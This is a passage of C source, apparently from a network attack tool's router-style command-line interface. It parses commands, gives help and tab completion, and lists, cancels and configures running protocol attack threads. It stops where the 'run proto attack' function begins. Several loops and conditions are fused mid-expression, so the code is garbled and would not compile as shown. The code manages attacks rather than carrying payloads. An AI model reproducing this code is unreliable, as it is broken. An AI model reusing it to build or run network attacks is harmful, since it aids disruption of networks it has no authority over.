(gotit>1) fail = command_list_help2(node, warray->word[warray->indx], aux_comm, &j, &gotit, &proto, &par_comm, 1); else { if (gotit == 1) { if (help) fail = command_list_help2(node, warray->word[warray->indx], aux_comm, &j, &gotit, &proto, &par_comm, 1); else /* TAB */ { if (aux_comm[j].proto == LIST_PARAM) { prot_comms = protocols[proto].parameters; fail = term_vty_tab_subst(node, warray->word[warray->indx], prot_comms[par_comm].desc); } else if (aux_comm[j].proto == ANY_PROTO) fail = term_vty_tab_subst(node, warray->word[warray->indx], aux_comm[j].s); else fail = term_vty_tab_subst(node, warray->word[warray->indx], protocols[proto].name_comm); } } } } return fail; } /* We don't have help and last word...*/ if (!help && !tab && !warray->word[warray->indx]) { snprintf(msg,sizeof(msg),"\r\n%% Incomplete command."); fail = term_vty_write(node,msg, strlen(msg)); return fail; } j = gotit = 0; if (last_protoword[warray->indx], aux_comm, &j, &gotit, &proto, &par_comm,0); if (fail < 0) return fail; if (!gotit) /* Bad word!! */ { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); vty->repeat_command = 1; } else { if (gotit==1) /* Ok, execute command...*/ { warray->indx++; if (last_proto < MAX_PROTOCOLS) proto = last_proto; if (!aux_comm[j].command) { fail = command_main(node, warray, j, help, as_param, proto, aux_comm[j].strcom, tab); } else { if (aux_comm[j].proto == LIST_PARAM) fail = (aux_comm[j].command(node, warray, par_comm, help, as_param, proto, aux_comm[j].strcom, tab)); else fail = (aux_comm[j].command(node, warray, j, help, as_param, proto, aux_comm[j].strcom, tab)); } vty->repeat_command= 1; } else /* More than 1 matching command...*/ { vty->repeat_command= 0; if (help || tab) { fail = command_list_help2(node, warray->word[warray->indx], aux_comm, &j, &gotit, &proto, &par_comm, 1); if (fail<0) return -1; vty->repeat_command= 1; } else snprintf(msg,sizeof(msg),"\r\n%% Ambiguous command: \"%s\"", vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } } return fail; } int8_t command_list_help(struct term_node *node, struct commands *aux_comm, u_int8_t proto) { char msg[128]; u_int8_t i, j, k; struct commands_param *prot_comms; struct commands_param_extra *extra_comms; i = 0; while(aux_comm[i].help != NULL) { if (aux_comm[i].states[node->state]) { if (aux_comm[i].proto == LIST_PROTO) { for(k=0; kstate]) { if ( (aux_comm[i].proto != LIST_PROTO) && (aux_comm[i].proto != LIST_PARAM)) { if (!strncmp(aux_comm[i].s, word, strlen(word))) { if (print) { snprintf(msg,sizeof(msg)," %-10s %-30s\r\n",aux_comm[i].s,aux_comm[i].help); if (term_vty_write(node,msg,strlen(msg)) < 0) return -1; } if (strlen(word) == strlen(aux_comm[i].s)) { *gotit=1; *j=i; *proto = aux_comm[(*j)].proto; break; } if (!(*j)) *j=i; (*gotit)++; } } else /* Verify the word against the list of available protocols */ if (aux_comm[i].proto != LIST_PARAM) { go_out=0; for(k=0; kspecific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_common[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } fail = term_vty_write(node,"\r\n",2); if (fail == -1) return -1; for(i=0; i< 250; i++) { snprintf(msg,sizeof(msg),"%d - Esta es la linea %d\r\n",i,i); fail = term_vty_write(node,msg, strlen(msg)); if (fail) break; } return fail; } /* * Clear client screen... * Return 0 if Ok. Return -1 if error. */ int8_t command_cls(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; struct term_vty *vty = node->specific; char msg[128]; if (warray && (warray->word[warray->indx])) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_common[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } fail = term_vty_write(node,"\r\n",2); if (fail==-1) return -1; fail = term_vty_write(node,CLEAR_SCREEN,strlen(CLEAR_SCREEN)); if (fail==-1) return -1; vty->clearmode=1; return 0; } /* * Show global help */ int8_t command_help(struct term_node *node) { int8_t i, fail; char msg[128]; i = 0; while(comm_common[i].s != NULL) { if (comm_common[i].states[node->state]) { snprintf(msg,sizeof(msg)," %-10s %-30s\r\n",comm_common[i].s,comm_common[i].help); fail=term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; } i++; } return 0; } /* * Come back to previous level * Return 0 if Ok. Return -1 if error (or going to exit level). */ int8_t command_disable(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { return (command_exit(node, warray, j, help, as_param, proto,aux_comm,tab)); } /* * Come back to previous level * Return 0 if Ok. Return -1 if error (or going to exit level). */ int8_t command_exit(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; char msg[128]; struct term_vty *vty = node->specific; if (warray && (warray->word[warray->indx])) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_common[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } return (term_vty_exit(node)); } int8_t command_enable(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; char msg[128]; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_common[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } vty->authing=1; return 0; } int8_t command_cancel_proto(struct term_node *node, struct words_array *warray, int16_t x, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t fail=0, params, aux, j; if (warray->word[warray->indx]) { if (!(warray->word[warray->indx+1])) params=0; else params=1; } else params=0; if (!warray->word[warray->indx] && (help || tab) ) { snprintf(msg,sizeof(msg)," all All %s running attacks\r\n", protocols[proto].name_comm); fail = term_vty_write(node,msg,strlen(msg)); if (fail == -1) return -1; snprintf(msg,sizeof(msg)," <0-%d> %s attack id\r\n", (MAX_THREAD_ATTACK-1),protocols[proto].name_comm); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," \r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } if (proto == ANY_PROTO) /* 'all' attacks */ { if (params) { if (help || tab) snprintf(msg,sizeof(msg),"%% Too many arguments\r\n"); else fail = command_bad_input(node,warray->indx); fail = term_vty_write(node,msg, strlen(msg)); return fail; } fail = attack_kill_th(node, ALL_ATTACK_THREADS); } else { if (!warray->word[warray->indx]) { snprintf(msg,sizeof(msg),"\r\n%% Incomplete command."); fail = term_vty_write(node,msg, strlen(msg)); return fail; } if (warray->nwords > (warray->indx+1)) { if (help || tab) snprintf(msg,sizeof(msg),"%% Too many arguments\r\n"); else fail = command_bad_input(node,warray->indx); fail = term_vty_write(node,msg, strlen(msg)); return fail; } if (help || tab) { snprintf(msg,sizeof(msg)," \r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } /* Ok, now we have just 1 arg, begin parsing...*/ aux = atoi(warray->word[warray->indx]); if (!strcmp(warray->word[warray->indx], "all")) { for(j=0; jprotocol[proto].attacks[j].up) { fail = attack_kill_th(node, node->protocol[proto].attacks[j].attack_th.id); if (fail==-1) return -1; } } } else { if ( (aux < 0) || (aux >= MAX_THREAD_ATTACK) ) return (command_bad_input(node,warray->indx)); /* Is running the attack?...*/ if (!node->protocol[proto].attacks[aux].up) { snprintf(msg,sizeof(msg),"\r\n%% %s attack id \"%d\" not used",protocols[proto].namep,aux); fail = term_vty_write(node,msg, strlen(msg)); return fail; } fail = attack_kill_th(node, node->protocol[proto].attacks[aux].attack_th.id); } } return fail; } /* * Show users connected. * Use terms and term_type global pointer. * Return 0 if Ok. Return -1 on error. */ int8_t command_show_users(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t i, fail; struct term_node *term_cursor; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } snprintf(msg,sizeof(msg),"\r\n User Terminal From Since\r\n"); fail = term_vty_write(node,msg, strlen(msg)); if (fail == -1) return -1; snprintf(msg,sizeof(msg)," ---- -------- ---- -----\r\n"); fail = term_vty_write(node,msg, strlen(msg)); if (fail == -1) return -1; term_cursor = terms->list; for(i=0; iup) { if (term_cursor->thread.id == pthread_self()) { snprintf(msg,sizeof(msg),"* %-12s %7s%-2d %15s:%-5d %4s\r\n", term_cursor->username, term_type[term_cursor->type].name, term_cursor->number, term_cursor->from_ip, term_cursor->from_port, term_cursor->since); } else { snprintf(msg,sizeof(msg)," %-12s %7s%-2d %15s:%-5d %4s\r\n", term_cursor->username, term_type[term_cursor->type].name, term_cursor->number, term_cursor->from_ip, term_cursor->from_port, term_cursor->since); } fail = term_vty_write(node,msg, strlen(msg)); if (fail==-1) return -1; } term_cursor++; } return 0; } /* * Show command line history. * Return 0 if Ok. Return -1 on error. */ int8_t command_show_history(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t i, fail; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } for(i=0; ihistory[i] == NULL) break; snprintf(msg,sizeof(msg),"\r\n %s",vty->history[i]); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } return 0; } /* * Show all running attacks. * Return 0 if Ok. Return -1 on error. */ int8_t command_show_attacks(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t fail; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } fail = command_proto_attacks(node,6666); return fail; } /* * Show active interfaces * Return -1 on error. Return 0 if Ok. * Use global interfaces list (interfaces). */ int8_t command_show_interfaces(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; char msg[128]; struct term_vty *vty = node->specific; dlist_t *p; struct interface_data *iface_data; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n", vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } if (pthread_mutex_lock(&interfaces->mutex) != 0) { thread_error("command_show_ints pthread_mutex_lock",errno); return -1; } for (p = interfaces->list; p; p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if (show_interface_data(node, iface_data) < 0) { pthread_mutex_unlock(&interfaces->mutex); return -1; } } if (pthread_mutex_unlock(&interfaces->mutex) != 0) { thread_error("command_show_ints pthread_mutex_unlock",errno); return -1; } return 0; } int8_t show_interface_data(struct term_node *node, struct interface_data *iface) { char msg[128]; u_int8_t i; snprintf(msg, sizeof(msg), "\r\n%s is up, line protocol is %s\r\n Hardware is %s (%s),", iface->ifname, (iface->up)?"up":"down", (iface->iflink_desc[0])?iface->iflink_desc:"*unknown*", (iface->iflink_name[0])?iface->iflink_name:"??" ); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (!memcmp(iface->etheraddr,"\x0\x0\x0\x0\x0\x0",6)) snprintf(msg, sizeof(msg), " no address suitable for this interface\r\n"); else snprintf(msg, sizeof(msg), " address is %02x%02x.%02x%02x.%02x%02x (bia %02x%02x.%02x%02x.%02x%02x)\r\n", iface->etheraddr[0], iface->etheraddr[1], iface->etheraddr[2], iface->etheraddr[3], iface->etheraddr[4], iface->etheraddr[5], iface->etheraddr[0], iface->etheraddr[1], iface->etheraddr[2], iface->etheraddr[3], iface->etheraddr[4], iface->etheraddr[5]); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (iface->ipaddr[0]) /* Print IP data...*/ { snprintf(msg, sizeof(msg), " Internet address is %s/%s\r\n", iface->ipaddr, iface->netmask); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (iface->broadcast[0]) snprintf(msg, sizeof(msg), " Broadcast address is %s\r\n", iface->broadcast); else snprintf(msg, sizeof(msg), " Broadcast address is not assigned\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (iface->ptpaddr[0]) { snprintf(msg, sizeof(msg), " Point8_tto Point8_taddress is %s\r\n", iface->ptpaddr); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } } else { snprintf(msg, sizeof(msg), " Internet address is not assigned\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } snprintf(msg, sizeof(msg), " Users using it %d\r\n", iface->users); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; for(i=0; i< MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; snprintf(msg, sizeof(msg), " %s stats:\r\n", protocols[i].description); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (iface->packets[i]) snprintf(msg, sizeof(msg), " %d input packets.\r\n", iface->packets[i]); else snprintf(msg, sizeof(msg), " input packets not seen yet\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (iface->packets_out[i]) { snprintf(msg, sizeof(msg), " %d output packets.\r\n", iface->packets_out[i]); } else snprintf(msg, sizeof(msg), " output packets not seen yet\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } return 0; } int8_t command_show_version(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; char msg[128]; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) { return 0; } if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } snprintf(msg,sizeof(msg),"\r\nChaos Internetwork Operating System Software\r\n"); if (term_vty_write(node,msg, strlen(msg))<0) return -1; snprintf(msg,sizeof(msg),""PACKAGE" (tm) Software ("INFO_PLATFORM"), Version "VERSION", RELEASE SOFTWARE\r\n"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; snprintf(msg,sizeof(msg),"Copyright (c) 2004-2006 by tomac & Slay, Inc.\r\n"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; snprintf(msg,sizeof(msg),"Compiled "INFO_DATE" by someone\r\n\r\n"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; if ( uptime < 60 ) snprintf(msg,sizeof(msg),""PACKAGE" uptime is %02d seconds\r\n\r\n", uptime); else { if ( uptime < 3600 ) snprintf(msg,sizeof(msg),""PACKAGE" uptime is %02d minutes, %02d seconds\r\n\r\n", uptime / 60, uptime % 60); else { if ( uptime < (3600*24) ) { snprintf(msg,sizeof(msg),""PACKAGE" uptime is %02d hours, %02d minutes, %02d seconds\r\n\r\n", uptime / 3600, (uptime % 3600) / 60, uptime % 60); } else snprintf(msg,sizeof(msg),""PACKAGE" uptime is %02d days, %02d hours, %02d minutes, %02d seconds\r\n\r\n", uptime / (3600*24), (uptime % (3600*24)) / 3600, (uptime % 3600) / 60, uptime % 60); } } if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; snprintf(msg,sizeof(msg),"Running Multithreading Image on "INFO_KERN" "INFO_KERN_VER" supporting:\r\n"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; snprintf(msg,sizeof(msg),"%02d console terminal(s)\r\n%02d tty terminal(s)\r\n%02d vty terminal(s)\r\n", MAX_CON, MAX_TTY, MAX_VTY); fail = term_vty_write(node,msg, strlen(msg)); return fail; } /* * Show statistics */ int8_t command_show_stats(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t i, fail; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } snprintf(msg, sizeof(msg),"\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; for(i=0; i< MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; snprintf(msg, sizeof(msg), " %s stats:\r\n", protocols[i].description); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (protocols[i].packets) { snprintf(msg, sizeof(msg), " %d input packets.\r\n", protocols[i].packets); } else snprintf(msg, sizeof(msg), " input packets not seen yet\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (protocols[i].packets_out) snprintf(msg, sizeof(msg), " %d output packets.\r\n", protocols[i].packets_out); else snprintf(msg, sizeof(msg), " output packets not seen yet\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } return 0; } /* * Show proto attacks */ int8_t command_show_proto_attacks(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t fail; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || tab) { snprintf(msg,sizeof(msg),"%% Too many arguments.\r\n"); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || tab) { if (aux_comm) snprintf(msg,sizeof(msg)," %-10s\r\n",aux_comm[j].params); else snprintf(msg,sizeof(msg)," %-10s\r\n",""); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } fail = command_proto_attacks(node,proto); return fail; } /* * Show proto stats */ int8_t command_show_proto_stats(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { return 0; } /* * Show protocol attack parameters */ int8_t command_show_proto_params(struct term_node *node, struct words_array *warray, int16_t x, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; char new_msg[128]; int8_t fail, i, first; struct commands_param *prot_params; struct term_vty *vty = node->specific; dlist_t *p; struct interface_data *iface_data; if (warray->word[warray->indx]) { if (help || tab) { snprintf(msg,sizeof(msg),"%% Too many arguments.\r\n"); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || tab) { if (aux_comm) snprintf(msg,sizeof(msg)," %-10s\r\n",aux_comm[x].params); else snprintf(msg,sizeof(msg)," %-10s\r\n",""); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } prot_params = protocols[proto].parameters; snprintf(msg, sizeof(msg), "\r\n"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; for (i=0; iprotocol[proto].commands_param[protocols[proto].params_sort[i]], new_msg); switch(prot_params[protocols[proto].params_sort[i]].type) { case FIELD_IP: snprintf(msg,sizeof(msg)," %-10s %-9s", prot_params[protocols[proto].params_sort[i]].desc,"IPv4"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s",new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_IFACE: first = 1; snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc, "INTERFACE"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; for (p = node->used_ints->list; p; p = dlist_next(node->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if (first) { snprintf(msg,sizeof(msg)," %s",iface_data->ifname); first=0; } else snprintf(msg,sizeof(msg),", %s",iface_data->ifname); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; } if (first) /* We have no interface */ { snprintf(msg,sizeof(msg)," No defined"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; } break; case FIELD_HEX: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"HEXNUM"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_DEC: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"DECNUM"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_BRIDGEID: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"BRIDGEID"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_MAC: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"MACADDR"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_BYTES: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"BYTES"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_STR: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"STRING"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_NONE: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"NOTYPE"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_DEFAULT: break; case FIELD_EXTRA: break; default: write_log(0,"Ouch!! Unrecognized protocol(%s) param type %d!!!\n", protocols[proto].namep,prot_params[protocols[proto].params_sort[i]].type); } if ((prot_params[protocols[proto].params_sort[i]].type != FIELD_DEFAULT) && (prot_params[protocols[proto].params_sort[i]].type != FIELD_EXTRA)) { snprintf(msg, sizeof(msg), "\r\n"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; } } return 0; } /* * Show active attacks. * If proto == 6666 show attacks from all protocols * Return 0 if Ok. Return -1 if error. */ int8_t command_proto_attacks(struct term_node *node, u_int16_t proto) { int8_t i,j; char msg[128]; struct attack *theattack=NULL; snprintf(msg,sizeof(msg),"\r\n No. Protocol Attack\r\n"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; snprintf(msg,sizeof(msg)," --- -------- ------"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; for (j=0; j < MAX_PROTOCOLS; j++) { if (proto != 6666) j=proto; if (protocols[j].visible) { theattack = protocols[j].attacks; for (i=0; i < MAX_THREAD_ATTACK; i++) { if (node->protocol[j].attacks[i].up) { snprintf(msg,sizeof(msg), "\r\n %-1d %-8s %s", i, node->protocol[j].name, theattack[node->protocol[j].attacks[i].attack].s); if (term_vty_write(node,msg,strlen(msg)) < 0) return -1; } } } if (proto != 6666) break; } return 0; } /* * Clear protocol stats */ int8_t command_clear_proto(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t fail; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (proto == 255) fail = interfaces_clear_stats(PROTO_ALL); else fail = interfaces_clear_stats(proto); if (fail == -1) return -1; return 0; } /* * Entry point for command 'set protocol' */ int8_t command_set_proto(struct term_node *node, struct words_array *warray, int16_t x, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t fail; /* u_int32_t aux_long;*/ struct term_vty *vty = node->specific; struct commands_param *prot_comms; dlist_t *p; struct interface_data *iface_data, *interface_new; prot_comms = protocols[proto].parameters; if (prot_comms[x].type == FIELD_DEFAULT) { if (warray->word[warray->indx]) { if (help || tab) snprintf(msg,sizeof(msg),"%% Too many arguments\r\n"); else snprintf(msg,sizeof(msg),"\r\n%% Too many arguments"); fail = term_vty_write(node,msg, strlen(msg)); return fail; } if (help || tab) { snprintf(msg,sizeof(msg)," \r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } /* Ok, now we can set the protocol defaults...*/ fail = (*protocols[proto].init_attribs)(node); } else { if (!warray->word[warray->indx]) /* No data...*/ { if (!help && !tab) { snprintf(msg,sizeof(msg),"\r\n%% Incomplete command."); fail = term_vty_write(node,msg, strlen(msg)); return fail; } snprintf(msg,sizeof(msg)," %-30s\r\n",prot_comms[x].param); fail = term_vty_write(node,msg,strlen(msg)); if (fail == -1) return -1; snprintf(msg,sizeof(msg)," \r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } if (warray->nwords > (warray->indx+1)) { if (help || tab) snprintf(msg,sizeof(msg),"%% Too many arguments\r\n"); else fail = command_bad_input(node,warray->indx); fail = term_vty_write(node,msg, strlen(msg)); return fail; } /* Ok, now we have just 1 arg, begin parsing...*/ /* Command 'interface' is special because we need to do some things */ if (!strcmp("interface", prot_comms[x].desc)) { p = dlist_search(interfaces->list, interfaces->cmp, (void *)warray->word[warray->indx]); iface_data = (struct interface_data *) dlist_data(p); if (p == NULL) { fail = command_bad_input(node, warray->indx); return fail; } /* Don't repeat interface...*/ if (!dlist_search(node->used_ints->list, node->used_ints->cmp, (void *)warray->word[warray->indx])) { if (interfaces_enable(warray->word[warray->indx]) < 0 ) { fail = command_bad_input(node,warray->indx); return fail; } interface_new = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)interface_new, (void *) iface_data, sizeof(struct interface_data)); node->used_ints->list = dlist_append(node->used_ints->list, (void *) interface_new); } return 0; } fail = parser_filter_param( prot_comms[x].type, node->protocol[proto].commands_param[x], warray->word[warray->indx], prot_comms[x].size_print, prot_comms[x].size); if (fail == -1) return (command_bad_input(node,warray->indx)); /* if ( prot_comms[x].type == FIELD_IP) { memcpy((void *)&aux_long, node->protocol[proto].commands_param[x], 4); aux_long = ntohl(aux_long); memcpy((void *)node->protocol[proto].commands_param[x], (void *)&aux_long, 4); }*/ if (prot_comms[x].filter) /* Use specific filter for this param */ { fail = (prot_comms[x].filter((void *)node,node->protocol[proto].commands_param[x],warray->word[warray->indx])); if (fail == -1) return (command_bad_input(node,warray->indx)); } } vty->repeat_command= 1; return fail; } /* * Command run proto attack */ int8_t command_run_proto(struct term_node *node, struct words_array *warray, int16_t x, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) 